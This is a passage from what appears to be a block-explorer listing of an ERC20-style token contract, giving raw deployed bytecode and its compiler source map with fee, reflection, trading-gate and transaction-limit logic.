6565b90505f6122a56064612297888b61236890919063ffffffff16565b611d4890919063ffffffff16565b90505f6122cd826122bf858c6120bb90919063ffffffff16565b6120bb90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806122fb858961236890919063ffffffff16565b90505f612311868961236890919063ffffffff16565b90505f612327878961236890919063ffffffff16565b90505f61234f8261234185876120bb90919063ffffffff16565b6120bb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612378575f90506123d9565b5f828461238591906131da565b90508284826123949190613142565b146123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb9061328b565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156124165780820151818401526020810190506123fb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61243b826123df565b61244581856123e9565b93506124558185602086016123f9565b61245e81612421565b840191505092915050565b5f6020820190508181035f8301526124818184612431565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124ba82612491565b9050919050565b6124ca816124b0565b81146124d4575f80fd5b50565b5f813590506124e5816124c1565b92915050565b5f819050919050565b6124fd816124eb565b8114612507575f80fd5b50565b5f81359050612518816124f4565b92915050565b5f806040838503121561253457612533612489565b5b5f612541858286016124d7565b92505060206125528582860161250a565b9150509250929050565b5f8115159050919050565b6125708161255c565b82525050565b5f6020820190506125895f830184612567565b92915050565b5f819050919050565b5f6125b26125ad6125a884612491565b61258f565b612491565b9050919050565b5f6125c382612598565b9050919050565b5f6125d4826125b9565b9050919050565b6125e4816125ca565b82525050565b5f6020820190506125fd5f8301846125db565b92915050565b61260c816124eb565b82525050565b5f6020820190506126255f830184612603565b92915050565b612634816124b0565b82525050565b5f60208201905061264d5f83018461262b565b92915050565b5f805f6060848603121561266a57612669612489565b5b5f612677868287016124d7565b9350506020612688868287016124d7565b92505060406126998682870161250a565b9150509250925092565b5f60ff82169050919050565b6126b8816126a3565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b5f6126e182612491565b9050919050565b6126f1816126d7565b82525050565b5f60208201905061270a5f8301846126e8565b92915050565b5f6020828403121561272557612724612489565b5b5f6127328482850161250a565b91505092915050565b5f602082840312156127505761274f612489565b5b5f61275d848285016124d7565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261278757612786612766565b5b8235905067ffffffffffffffff8111156127a4576127a361276a565b5b6020830191508360208202830111156127c0576127bf61276e565b5b9250929050565b6127d08161255c565b81146127da575f80fd5b50565b5f813590506127eb816127c7565b92915050565b5f805f6040848603121561280857612807612489565b5b5f84013567ffffffffffffffff8111156128255761282461248d565b5b61283186828701612772565b93509350506020612844868287016127dd565b9150509250925092565b5f806040838503121561286457612863612489565b5b5f612871858286016124d7565b9250506020612882858286016124d7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128c06020836123e9565b91506128cb8261288c565b602082019050919050565b5f6020820190508181035f8301526128ed816128b4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612958826124eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361298a57612989612921565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129ef6026836123e9565b91506129fa82612995565b604082019050919050565b5f6020820190508181035f830152612a1c816129e3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a7d6024836123e9565b9150612a8882612a23565b604082019050919050565b5f6020820190508181035f830152612aaa81612a71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b0b6022836123e9565b9150612b1682612ab1565b604082019050919050565b5f6020820190508181035f830152612b3881612aff565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b996023836123e9565b9150612ba482612b3f565b604082019050919050565b5f6020820190508181035f830152612bc681612b8d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c276025836123e9565b9150612c3282612bcd565b604082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612cb56029836123e9565b9150612cc082612c5b565b604082019050919050565b5f6020820190508181035f830152612ce281612ca9565b9050919050565b7f4572726f723a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612d43603f836123e9565b9150612d4e82612ce9565b604082019050919050565b5f6020820190508181035f830152612d7081612d37565b9050919050565b7f4572726f723a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612dab601c836123e9565b9150612db682612d77565b602082019050919050565b5f6020820190508181035f830152612dd881612d9f565b9050919050565b5f612de9826124eb565b9150612df4836124eb565b9250828201905080821115612e0c57612e0b612921565b5b92915050565b7f4572726f723a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612e6c6023836123e9565b9150612e7782612e12565b604082019050919050565b5f6020820190508181035f830152612e9981612e60565b9050919050565b5f612eaa826124eb565b9150612eb5836124eb565b9250828203905081811115612ecd57612ecc612921565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612f2d602a836123e9565b9150612f3882612ed3565b604082019050919050565b5f6020820190508181035f830152612f5a81612f21565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612f9c816124c1565b92915050565b5f60208284031215612fb757612fb6612489565b5b5f612fc484828501612f8e565b91505092915050565b5f819050919050565b5f612ff0612feb612fe684612fcd565b61258f565b6124eb565b9050919050565b61300081612fd6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613038816124b0565b82525050565b5f613049838361302f565b60208301905092915050565b5f602082019050919050565b5f61306b82613006565b6130758185613010565b935061308083613020565b805f5b838110156130b0578151613097888261303e565b97506130a283613055565b925050600181019050613083565b5085935050505092915050565b5f60a0820190506130d05f830188612603565b6130dd6020830187612ff7565b81810360408301526130ef8186613061565b90506130fe606083018561262b565b61310b6080830184612603565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61314c826124eb565b9150613157836124eb565b92508261316757613166613115565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131a6601b836123e9565b91506131b182613172565b602082019050919050565b5f6020820190508181035f8301526131d38161319a565b9050919050565b5f6131e4826124eb565b91506131ef836124eb565b92508282026131fd816124eb565b9150828204841483151761321457613213612921565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132756021836123e9565b91506132808261321b565b604082019050919050565b5f6020820190508181035f8301526132a281613269565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c66f8612bce74aabf93d6779e980bc273c481404e31cbf57233a542817e2563764736f6c63430008150033
Deployed Bytecode Sourcemap
4217:12795:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6584:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7969:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4268:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7007:101;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4316:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7308:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5095:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6770:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4683:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15845:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5228:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4777:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6861:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2876:148;;;;;;;;;;;;;:::i;:::-;;5167:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13361:195;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13211:142;;;;;;;;;;;;;:::i;:::-;;3395:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6675:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7762:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15203:237;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7116:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3145:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6584:83;6621:13;6654:5;;;;;;;;;;;;;;;;;6647:12;;6584:83;:::o;7969:193::-;8071:4;8093:39;8102:12;:10;:12::i;:::-;8116:7;8125:6;8093:8;:39::i;:::-;8150:4;8143:11;;7969:193;;;;:::o;4268:41::-;;;;;;;;;;;;;:::o;7007:101::-;7060:7;4920:21;7080:20;;7007:101;:::o;4316:32::-;;;;;;;;;;;;;:::o;7308:446::-;7440:4;7457:36;7467:6;7475:9;7486:6;7457:9;:36::i;:::-;7504:220;7527:6;7548:12;:10;:12::i;:::-;7575:138;7631:6;7575:138;;;;;;;;;;;;;;;;;:11;:19;7587:6;7575:19;;;;;;;;;;;;;;;:33;7595:12;:10;:12::i;:::-;7575:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7504:8;:220::i;:::-;7742:4;7735:11;;7308:446;;;;;:::o;5095:65::-;;;;:::o;6770:83::-;6811:5;5085:1;6829:16;;6770:83;:::o;4683:87::-;;;;;;;;;;;;;:::o;15845:128::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15947:18:::1;15929:15;:36;;;;15845:128:::0;:::o;5228:59::-;;;;:::o;4777:93::-;;;;;;;;;;;;;:::o;6861:138::-;6927:7;6954:37;6974:7;:16;6982:7;6974:16;;;;;;;;;;;;;;;;6954:19;:37::i;:::-;6947:44;;6861:138;;;:::o;2876:148::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2983:1:::1;2946:40;;2967:6;::::0;::::1;;;;;;;;2946:40;;;;;;;;;;;;3014:1;2997:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2876:148::o:0;5167:54::-;;;;:::o;13361:195::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13451:10:::1;13431:17;;:30;;;;;;;;;;;;;;;;;;13463:54;13472:17;;;;;;;;;;;13491:10;;;;;;;;;;;4920:21;13463:8;:54::i;:::-;13544:4;13528:13;;:20;;;;;;;;;;;;;;;;;;13361:195:::0;:::o;13211:142::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4920:21:::1;13263:16;:32;;;;4920:21;13307:22;:38;;;;13211:142::o:0;3395:79::-;3433:7;3460:6;;;;;;;;;;;3453:13;;3395:79;:::o;6675:87::-;6714:13;6747:7;;;;;;;;;;;;;;;;;6740:14;;6675:87;:::o;7762:199::-;7867:4;7889:42;7899:12;:10;:12::i;:::-;7913:9;7924:6;7889:9;:42::i;:::-;7949:4;7942:11;;7762:199;;;;:::o;15203:237::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15320:9:::1;15316:117;15339:8;;:15;;15335:1;:19;15316:117;;;15413:8;15376:21;:34;15398:8;;15407:1;15398:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15376:34;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;15356:3;;;;;:::i;:::-;;;;15316:117;;;;15203:237:::0;;;:::o;7116:184::-;7233:7;7265:11;:18;7277:5;7265:18;;;;;;;;;;;;;;;:27;7284:7;7265:27;;;;;;;;;;;;;;;;7258:34;;7116:184;;;;:::o;3145:244::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3254:1:::1;3234:22;;:8;:22;;::::0;3226:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3344:8;3315:38;;3336:6;::::0;::::1;;;;;;;;3315:38;;;;;;;;;;;;3373:8;3364:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3145:244:::0;:::o;2383:101::-;2436:7;2466:10;2459:17;;2383:101;:::o;16595:369::-;16739:1;16722:19;;:5;:19;;;16714:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16820:1;16801:21;;:7;:21;;;16793:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16902:6;16872:11;:18;16884:5;16872:18;;;;;;;;;;;;;;;:27;16891:7;16872:27;;;;;;;;;;;;;;;:36;;;;16940:7;16924:32;;16933:5;16924:32;;;16949:6;16924:32;;;;;;:::i;:::-;;;;;;;;16595:369;;;:::o;9597:2558::-;9733:1;9719:16;;:2;:16;;;9711:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9811:1;9795:18;;:4;:18;;;9787:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9883:1;9874:6;:10;9866:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9967:7;:5;:7::i;:::-;9959:15;;:4;:15;;;;:46;;;;;9998:7;:5;:7::i;:::-;9992:13;;:2;:13;;;;9959:46;9941:1376;;;10070:13;;;;;;;;;;;10065:208;;10142:7;:5;:7::i;:::-;10134:15;;:4;:15;;;10104:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;10065:208;10305:16;;10295:6;:26;;10287:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10378:17;;;;;;;;;;;10372:23;;:2;:23;;;10369:176;;10449:22;;10440:6;10424:13;10434:2;10424:9;:13::i;:::-;:22;;;;:::i;:::-;:47;10416:113;;;;;;;;;;;;:::i;:::-;;;;;;;;;10369:176;10561:32;10596:24;10614:4;10596:9;:24::i;:::-;10561:59;;10635:12;10678:15;;10650:24;:43;;10635:58;;10739:16;;10711:24;:44;10708:95;;10785:16;;10758:43;;10708:95;10823:12;;;;;;;;;;;:41;;;;;10857:7;10823:41;:76;;;;;10887:12;;;;;;;;;;;10886:13;10823:76;:122;;;;;10928:17;;;;;;;;;;;10920:25;;:4;:25;;;;10823:122;:171;;;;;10967:21;:27;10989:4;10967:27;;;;;;;;;;;;;;;;;;;;;;;;;10966:28;10823:171;:219;;;;;11017:21;:25;11039:2;11017:25;;;;;;;;;;;;;;;;;;;;;;;;;11016:26;10823:219;10819:487;;;11077:34;11086:24;11077:8;:34::i;:::-;11130:20;11153:21;11130:44;;11212:1;11197:12;:16;11193:98;;;11238:33;11249:21;11238:10;:33::i;:::-;11193:98;11058:248;10819:487;10017:1300;;9941:1376;11329:14;11346:4;11329:21;;11407;:27;11429:4;11407:27;;;;;;;;;;;;;;;;;;;;;;;;;:56;;;;11438:21;:25;11460:2;11438:25;;;;;;;;;;;;;;;;;;;;;;;;;11407:56;11406:116;;;;11477:17;;;;;;;;;;;11469:25;;:4;:25;;;;:52;;;;;11504:17;;;;;;;;;;;11498:23;;:2;:23;;;;11469:52;11406:116;11388:698;;;11561:5;11549:17;;11388:698;;;11642:17;;;;;;;;;;;11634:25;;:4;:25;;;:76;;;;;11694:15;;;;;;;;;;;11680:30;;:2;:30;;;;11634:76;11631:207;;;11748:25;;11731:14;:42;;;;11803:19;;11792:8;:30;;;;11631:207;11895:17;;;;;;;;;;;11889:23;;:2;:23;;;:59;;;;;11932:15;;;;;;;;;;;11916:32;;:4;:32;;;;11889:59;11885:190;;;11986:23;;11969:14;:40;;;;12039:20;;12028:8;:31;;;;11885:190;11388:698;12096:51;12119:4;12125:2;12129:6;12137:9;12096:22;:51::i;:::-;9700:2455;9597:2558;;;:::o;611:224::-;731:7;764:1;759;:6;;767:12;751:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;791:9;807:1;803;:5;;;;:::i;:::-;791:17;;826:1;819:8;;;611:224;;;;;:::o;9258:331::-;9353:7;9411:15;;9400:7;:26;;9378:118;;;;;;;;;;;;:::i;:::-;;;;;;;;;9507:19;9529:10;:8;:10::i;:::-;9507:32;;9557:24;9569:11;9557:7;:11;;:24;;;;:::i;:::-;9550:31;;;9258:331;;;:::o;8170:474::-;5991:4;5976:12;;:19;;;;;;;;;;;;;;;;;;8239:21:::1;8277:1;8263:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8239:40;;8308:4;8290;8295:1;8290:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8334:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8324:4;8329:1;8324:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;8367:62;8384:4;8399:15;;;;;;;;;;;8417:11;8367:8;:62::i;:::-;8440:15;;;;;;;;;;;:66;;;8521:11;8547:1;8563:4;8590;8610:15;8440:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8228:416;6033:5:::0;6018:12;;:20;;;;;;;;;;;;;;;;;;8170:474;:::o;15448:345::-;15503:23;15529:1;15503:27;;15541:20;15573:15;15564:6;:24;;;;:::i;:::-;15541:47;;15599:10;;;;;;;;;;;:19;;:33;15619:12;15599:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15678:1;15660:15;:19;;;;:::i;:::-;15650:6;:30;;;;:::i;:::-;15634:46;;;;;:::i;:::-;;;15691:20;15723:12;15714:6;:21;;;;:::i;:::-;15691:44;;15746:16;;;;;;;;;;;:25;;:39;15772:12;15746:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15492:301;;;15448:345;:::o;13793:354::-;13957:7;13952:66;;13992:13;:11;:13::i;:::-;13952:66;14029:46;14049:6;14057:9;14068:6;14029:19;:46::i;:::-;14091:7;14086:54;;14115:13;:11;:13::i;:::-;14086:54;13793:354;;;;:::o;8652:164::-;8694:7;8715:15;8732;8751:19;:17;:19::i;:::-;8714:56;;;;8788:20;8800:7;8788;:11;;:20;;;;:::i;:::-;8781:27;;;;8652:164;:::o;841:132::-;899:7;926:39;930:1;933;926:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;919:46;;841:132;;;;:::o;14784:227::-;14848:1;14830:14;;:19;:36;;;;;14865:1;14853:8;;:13;14830:36;14868:7;14826:49;14906:14;;14885:18;:35;;;;14944:8;;14929:12;:23;;;;14981:1;14964:14;:18;;;;15002:1;14991:8;:12;;;;14784:227;:::o;15981:606::-;16130:15;16160:23;16198:12;16225:23;16263:12;16290:13;16317:19;16328:7;16317:10;:19::i;:::-;16115:221;;;;;;;;;;;;16365:28;16385:7;16365;:15;16373:6;16365:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;16347:7;:15;16355:6;16347:15;;;;;;;;;;;;;;;:46;;;;16425:39;16448:15;16425:7;:18;16433:9;16425:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;16404:7;:18;16412:9;16404:18;;;;;;;;;;;;;;;:60;;;;16475:18;16487:5;16475:11;:18::i;:::-;16495:24;16508:4;16514;16495:12;:24::i;:::-;16552:9;16535:44;;16544:6;16535:44;;;16563:15;16535:44;;;;;;:::i;:::-;;;;;;;;16104:483;;;;;;15981:606;;;:::o;9131:119::-;9190:18;;9173:14;:35;;;;9230:12;;9219:8;:23;;;;9131:119::o;8824:299::-;8875:7;8884;8904:15;8922;;8904:33;;8948:15;4920:21;8948:31;;9004:34;4920:21;9004:15;;:19;;:34;;;;:::i;:::-;8994:7;:44;8990:89;;;9048:15;;4920:21;9040:39;;;;;;;;8990:89;9098:7;9107;9090:25;;;;;;8824:299;;;:::o;979:223::-;1099:7;1131:1;1127;:5;1134:12;1119:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1158:9;1174:1;1170;:5;;;;:::i;:::-;1158:17;;1193:1;1186:8;;;979:223;;;;;:::o;14155:621::-;14255:7;14277;14299;14321;14343;14365;14401:23;14426:12;14440:13;14470:46;14482:7;14491:14;;14507:8;;14470:11;:46::i;:::-;14400:116;;;;;;14527:19;14549:10;:8;:10::i;:::-;14527:32;;14571:15;14588:23;14613:12;14642:46;14654:7;14663:4;14669:5;14676:11;14642;:46::i;:::-;14570:118;;;;;;14707:7;14716:15;14733:4;14739:15;14756:4;14762:5;14699:69;;;;;;;;;;;;;;;;;;;14155:621;;;;;;;:::o;469:136::-;527:7;554:43;558:1;561;554:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;547:50;;469:136;;;;:::o;284:179::-;342:7;362:9;378:1;374;:5;;;;:::i;:::-;362:17;;403:1;398;:6;;390:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;454:1;447:8;;;284:179;;;;:::o;13568:213::-;13623:19;13645:10;:8;:10::i;:::-;13623:32;;13666:13;13682:22;13692:11;13682:5;:9;;:22;;;;:::i;:::-;13666:38;;13740:33;13767:5;13740:7;:22;13756:4;13740:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;13715:7;:22;13731:4;13715:22;;;;;;;;;;;;;;;:58;;;;13612:169;;13568:213;:::o;15021:174::-;15108:25;15128:4;15108:15;;:19;;:25;;;;:::i;:::-;15090:15;:43;;;;15162:25;15182:4;15162:15;;:19;;:25;;;;:::i;:::-;15144:15;:43;;;;15021:174;;:::o;12163:467::-;12331:7;12353;12375;12410:12;12425:29;12450:3;12425:20;12437:7;12425;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;12410:44;;12465:13;12481:28;12505:3;12481:19;12493:6;12481:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;12465:44;;12520:23;12546:28;12568:5;12546:17;12558:4;12546:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;12520:54;;12593:15;12610:4;12616:5;12585:37;;;;;;;;;12163:467;;;;;;;:::o;12638:534::-;12832:7;12854;12876;12911:15;12929:24;12941:11;12929:7;:11;;:24;;;;:::i;:::-;12911:42;;12964:12;12979:21;12988:11;12979:4;:8;;:21;;;;:::i;:::-;12964:36;;13011:13;13027:22;13037:11;13027:5;:9;;:22;;;;:::i;:::-;13011:38;;13060:23;13086:28;13108:5;13086:17;13098:4;13086:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;13060:54;;13133:7;13142:15;13159:4;13125:39;;;;;;;;;;12638:534;;;;;;;;:::o;1208:246::-;1266:7;1295:1;1290;:6;1286:47;;1320:1;1313:8;;;;1286:47;1343:9;1359:1;1355;:5;;;;:::i;:::-;1343:17;;1388:1;1383;1379;:5;;;;:::i;:::-;:10;1371:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1445:1;1438:8;;;1208:246;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:118::-;4858:24;4876:5;4858:24;:::i;:::-;4853:3;4846:37;4771:118;;:::o;4895:222::-;4988:4;5026:2;5015:9;5011:18;5003:26;;5039:71;5107:1;5096:9;5092:17;5083:6;5039:71;:::i;:::-;4895:222;;;;:::o;5123:619::-;5200:6;5208;5216;5265:2;5253:9;5244:7;5240:23;5236:32;5233:119;;;5271:79;;:::i;:::-;5233:119;5391:1;5416:53;5461:7;5452:6;5441:9;5437:22;5416:53;:::i;:::-;5406:63;;5362:117;5518:2;5544:53;5589:7;5580:6;5569:9;5565:22;5544:53;:::i;:::-;5534:63;;5489:118;5646:2;5672:53;5717:7;5708:6;5697:9;5693:22;5672:53;:::i;:::-;5662:63;;5617:118;5123:619;;;;;:::o;5748:86::-;5783:7;5823:4;5816:5;5812:16;5801:27;;5748:86;;;:::o;5840:112::-;5923:22;5939:5;5923:22;:::i;:::-;5918:3;5911:35;5840:112;;:::o;5958:214::-;6047:4;6085:2;6074:9;6070:18;6062:26;;6098:67;6162:1;6151:9;6147:17;6138:6;6098:67;:::i;:::-;5958:214;;;;:::o;6178:104::-;6223:7;6252:24;6270:5;6252:24;:::i;:::-;6241:35;;6178:104;;;:::o;6288:142::-;6391:32;6417:5;6391:32;:::i;:::-;6386:3;6379:45;6288:142;;:::o;6436:254::-;6545:4;6583: